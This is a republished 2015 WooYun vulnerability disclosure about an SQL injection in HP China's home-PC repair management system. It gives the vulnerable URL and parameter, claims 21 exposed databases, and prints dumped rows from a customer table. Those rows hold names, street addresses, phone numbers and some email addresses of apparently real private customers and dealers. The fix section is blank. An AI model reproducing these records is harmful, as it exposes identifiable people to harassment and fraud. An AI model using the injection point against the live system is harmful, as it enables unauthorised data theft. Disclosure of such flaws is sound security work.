记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

惠普系列安全漏洞之PC机篇二(涉及110多万客户敏感信息包括姓名/电话/住址/邮箱等)

2015-10-03 01:25

惠普家用电脑产品维修业务管理系统

1.png



如下链接存在sql注入,其中,strList参数有问题

code 区域
http://alwayson.hp.com.cn/AAS/ASC/reportpartreturn.aspx?strList=HHZC8000731,HHZC8000721,HHZC8000722

0.jpg



涉及21个库

2.png

漏洞证明:

以WEBAAS库、CUSTOMER表为例,110多万客户敏感信息泄露,包括:姓名、电话、住址、邮箱等

4.png

code 区域
Database: WEBAAS

Table: CUSTOMER

[71 entries]

+---------------------------------+-------------------+------------------+-----------+------------+----------------+

| ADDR | EMAIL | Company | USER_TYPE | First_Name | MobilePhone |

+---------------------------------+-------------------+------------------+-----------+------------+----------------+

| (送修)红星路福兴数码广场1楼 | [email protected] | 怀化恒德科技有限公司 | 经销商 | 曾旭 | 13607411731 |

| (送修)湖南怀化 | 暂无 | 家庭用户 | 最终用户 | 蒋平 | <blank> |

| (送修)湖南怀化福兴数码广场A2号 | 暂无 | 家庭用户 | 经销商 | 李江艳 | 18974588091 |

| (送修)湖南怀化银河电脑城 | [email protected] | 经销商 | 经销商 | 杨伟华 | <blank> |

| (复兴东路近小东门)四牌楼路118号301 | <blank> | 家庭用户 | 最终用户 | 谢女士 | 63859317 |

| (富强街37号)七星路2938弄37号底层 | 用户表示没有Email | 家庭用户 | 最终用户 | 顾先生 | <blank> |

| (高新园区)软件园东路44号23号楼303室 | 无 | 家庭用户 | 最终用户 | 由先生 | 82051885 |

| (共康路)共和新路4719弄223号301 | <blank> | 家庭用户 | 最终用户 | 高女士 | 56810821 |

| (皇岗村)下围2村41栋303室 | 不使用 | 家庭用户 | 最终用户 | 刘先生 | 13728809916 |

| (火车站对面)凯旋大厦A座603 | [email protected] | 经销商 | 最终用户 | 蒋先生 | 86015274833697 |

| (建行常州培训中心)梧桐路 | <blank> | 家庭用户 | 最终用户 | 王先生 | <blank> |

| (近东川路)友爱村2组43号 | 用户无MEAIL | 家庭用户 | 最终用户 | 宋女士 | 13764083529 |

| (近东海大道)社排村132号 到了电话联系 | 不使用 | 家庭用户 | 最终用户 | 唐先生 | 18028761773 |

| (近都市路)贵都路366弄2号 | 用户表示没有EMAIL | 家庭用户 | 最终用户 | 穗女士 | 15026923817 |

| (近观澜镇)龙光路53号洪宇大厦1616(龙华丰源旁) | 不使用 | 家庭用户 | 最终用户 | 钱先生 | 13823709152 |

| (近汉江中学)窑湾社区9组(到了电话联系) | 无 | 家庭用户 | 最终用户 | 何先生/付先生 | 13227588039 |

| (近南陈路)纬地路358弄51号201 | 用户表示无EMAIL | 家庭用户 | 最终用户 | 谢女士 | 13701649427 |

| (近平望镇)八坼镇南浩街10号(到了电话联系) | <blank> | 家庭用户 | 最终用户 | 潘先生 | <blank> |

| (近汶水路)沪太支路718号79号 | 用户表示没有EMAIL | 家庭用户 | 最终用户 | 魏先生 | 13162487818 |

| (近中原路)开鲁路工农三村128号602 | <blank> | 家庭用户 | 最终用户 | 胡女士 | 13918039757 |

| (具体地址联系用户) | 无法提供 | 家庭用户 | 最终用户 | 修先生 | 13766514375 |

| (靠近环镇北路,鸿庆楼饭店)张社苑小区17栋902室 | <blank> | 家庭用户 | 最终用户 | 陆先生 | 13771192138 |

| (靠近京开高速西侧)宏大北园6号楼4单元1601室 | 无 | 北京九州峻峰科技发展有限公司 | RP认证工程师服务 | 常先生 | 13070107179 |

| (老市政府办公大楼)和平路62号 | <blank> | 家庭用户 | 最终用户 | 蒋先生 | <blank> |

| (莲前西路)金鸡亭小区西林西里44栋25t308 | <blank> | 家庭用户 | 最终用户 | 陈女士 | 13950196075 |

| (龙湖)花盛香醍小区317号楼3单元302室 | <blank> | 家庭用户 | 最终用户 | 马先生 | 一个 |

| (缗城二路)盛奥工业园综合办公室 | <blank> | 家庭用户 | 最终用户 | 王先生 | 15063733729 |

| (木石)村沟152号 | <blank> | 家庭用户 | 最终用户 | 王先生 | 85259218 |

| (三环到四环之间)西大望路59号苑风度柏林6号楼5单元1602 | [email protected] | 家庭用户 | 最终用户 | 曲女士 | 13501098752 |

| (上门前联系) | <blank> | 家庭用户 | 最终用户 | 石先生 | <blank> |

| (上门直接电话联系) | <blank> | 家庭用户 | 最终用户 | 郑先生\\宋女士 | 13708281086 |

| (涉县鼎鑫煤化公司)送修 | [email protected] | 河北宝润数码科技有限公司 | RP认证工程师服务 | 崔彦平 | 3819172 |

| (市政府旁边)金鼎路1号402 | <blank> | 家庭用户 | 最终用户 | 曾先生 | 18950107256 |

| (纟巢)丝厂宿舍东单元3楼西户 | <blank> | 潍坊金证世纪商贸有限公司 | RP认证工程师服务 | 文先生 | 18753618897 |

| (送修) | 无 | 攸县城关联慧电脑经营部 | 最终用户 | 周先生 | 只有一个电话 |

| (送修)辰溪县八一路 | 暂无 | 家庭用户 | 最终用户 | 余晓 | <blank> |

| (送修)福兴数码广场1楼A03 | [email protected] | 家庭用户 | 经销商 | 曾旭 | 只有一个电话 |

| (送修)福兴数码广场一楼 | [email protected] | 怀化恒德科技有限公司 | 经销商 | 张维 | 2249398 |

| (送修)福兴数码广场一楼A03号 | <blank> | 怀化恒德科技有限公司 | 经销商 | 段承龙 | 2249398 |

| (送修)贵州黎平 | <blank> | 家庭用户 | 最终用户 | 严强 | <blank> |

| (送修)河西 | [email protected] | 家庭用户 | 最终用户 | 杨勇 | <blank> |

| (送修)河西农副产品市场A区5栋388 | 暂无 | 家庭用户 | 最终用户 | 潘康荣 | <blank> |

| (送修)河西舞阳公馆4幢301 | 暂无 | 家庭用户 | 最终用户 | 周民 | 只有一个电话 |

| (送修)鹤城区 | [email protected] | 家庭用户 | 最终用户 | 李渊迪 | 只有一个电话 |

| (送修)恒德科技福星数码广场1楼A03HP专卖店 | [email protected] | 恒德科技 | 经销商 | 张维 | <blank> |

+---------------------------------+-------------------+------------------+-----------+------------+----------------+

修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2015-0144178

阅读:138726 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“惠普系列安全漏洞之PC机篇二(涉及110多万客户敏感信息包括姓名/电话/住址/邮箱等)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云

本页关键词